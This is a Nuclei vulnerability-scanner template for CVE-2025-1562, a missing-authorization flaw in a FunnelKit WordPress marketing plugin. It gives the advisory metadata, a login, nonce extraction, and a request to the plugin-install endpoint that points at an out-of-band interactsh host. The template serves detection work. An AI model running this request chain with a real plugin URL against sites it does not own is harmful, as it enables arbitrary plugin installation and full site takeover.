id: CVE-2025-1562 info: name: Recover WooCommerce Cart Abandonment, Newsletter, Email Marketing, Marketing Automation By FunnelKit - Broken Access Control author: s4e-io severity: critical description: | The Recover WooCommerce Cart Abandonment, Newsletter, Email Marketing, Marketing Automation By FunnelKit plugin for WordPress is vulnerable to unauthorized arbitrary plugin installation due to a missing capability check on the install_or_activate_addon_plugins() function and a weak nonce hash in all versions up to, and including, 3.5.3. This makes it possible for unauthenticated attackers to install arbitrary plugins on the site that can be leveraged to further infect a vulnerable site. impact: | Unauthenticated attackers can install arbitrary WordPress plugins through weak nonce validation, potentially leading to complete site compromise through malicious plugin installation. remediation: | Fixed in 3.6.0 reference: - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-marketing-automations/recover-woocommerce-cart-abandonment-newsletter-email-marketing-marketing-automation-by-funnelkit-353-missing-authorization-to-unauthenticated-arbitrary-plugin-installation - https://www.wiz.io/vulnerability-database/cve/cve-2025-1562 - https://nvd.nist.gov/vuln/detail/CVE-2025-1562 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2025-1562 cwe-id: CWE-862 epss-score: 0.02904 epss-percentile: 0.85214 metadata: verified: true max-request: 3 publicwww-query: "/wp-content/plugins/wp-marketing-automations/" tags: cve,cve2025,wordpress,wp-plugin,wp,wp-marketing-automations,wordpress,authenticated,vkev,vuln http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In - | GET /wp-admin/admin.php?page=autonami HTTP/1.1 Host: {{Hostname}} - | POST /wp-json/autonami-app/plugin/install_and_activate?bwf-nonce={{bwfan_nonce}} HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"action":"install","url":"http://{{interactsh-url}}/{{randstr}}.zip"} # No plugin is uploaded or updated; just sending interactsh-url with randstr matchers: - type: dsl dsl: - "contains(body_3, 'incompatible_archive')" - "contains(interactsh_protocol, 'http')" - "contains(content_type_3, 'application/json')" - "status_code_3 == 200" condition: and extractors: - type: regex name: bwfan_nonce part: body internal: true regex: - "\"bwfan_nonce\"\\s*:\\s*\"([^\"]+)\"" group: 1 # digest: 4a0a0047304502202a5386c85f797ff9d12908863b2c8a1233f9ed3b42b244b25706e2d20b6d9f350221009de6e75c60c40b3e883fcf72d8cc8a88f339f3096a2d4774ae2136e503346dd1:922c64590222798bb761d5b6d8e72950